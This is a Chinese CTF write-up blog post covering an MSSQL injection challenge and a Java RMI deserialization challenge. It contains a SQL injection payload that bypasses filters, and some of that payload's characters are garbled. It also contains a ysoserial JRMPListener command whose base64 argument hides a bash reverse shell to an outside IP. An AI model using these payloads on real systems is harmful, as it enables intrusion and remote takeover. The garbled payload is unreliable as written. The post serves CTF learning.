Mini-L CTF web 复现
这里的话只复现部分题
ezsql(sql server mssql)
考查的是sqlserver 也是mssql
这里的话是给了查询语句 列和表都给了 id users
数据库查询
查出来是ctf 在sqlserver中 数据库是db_name()
拿出祖传字典fuzz一下,发现过滤了空格、星号、百分号、引号以及常用的增删查改关键字(但是大小写能绕过,这个点很重要)
可以了解一下这个空格绕过
payload
1 | 1;ALTER%1eTABLE%1eusers�ADD�wcs�varchar(2000)�NULL; |
这里有个小知识点就是得需要bp或则hackbar来写,输入框的话是不能解析url编码的,因为我们需要用url编码来进行空格的绕过
minijava(RMI反序列化漏洞)
先使用jd-gui工具把class文件变成java文件
1.先导入pom.xml里面的东西
2.然后按照jar包里面的构造来idea里面构造个一模一样的
然后在把jar里面的内容照搬进去就行了
这道题如果是对经常做java题目的师傅来看的话是一下就能看出是利用RMI来打的
先去查看一下pom.xml,发现是cc3的链子
因为这里添加了个白名单过滤,所以说不能直接用cc3来打了
然后去看了一下MainController.class
1 |
|
然后就去查看这个readObject() 这里显示是User这个类里边的
这里边的registry和lookup做题多的一看就知道是rmi恶意服务
这里的话registry1可控,然后只需要绕过上面的的if判断就行了
然后打RMI反序列化漏洞,最终可以实现绕过白名单任意反序列化,从而打CC链来rce
这里如果是是用hackbar发包的话,得注意要进行url编码,不会会失败
payload
1 | java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzkuMTEwLzY2NiAwPiYx}|{base64,-d}|{bash,-i}" |
需要在自己的服务器上执行
接下来就不写了 直接去看官方的wp吧 官方wp
接下来就写篇文章来学习一下RMI和cc3
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ke1nys`Blog!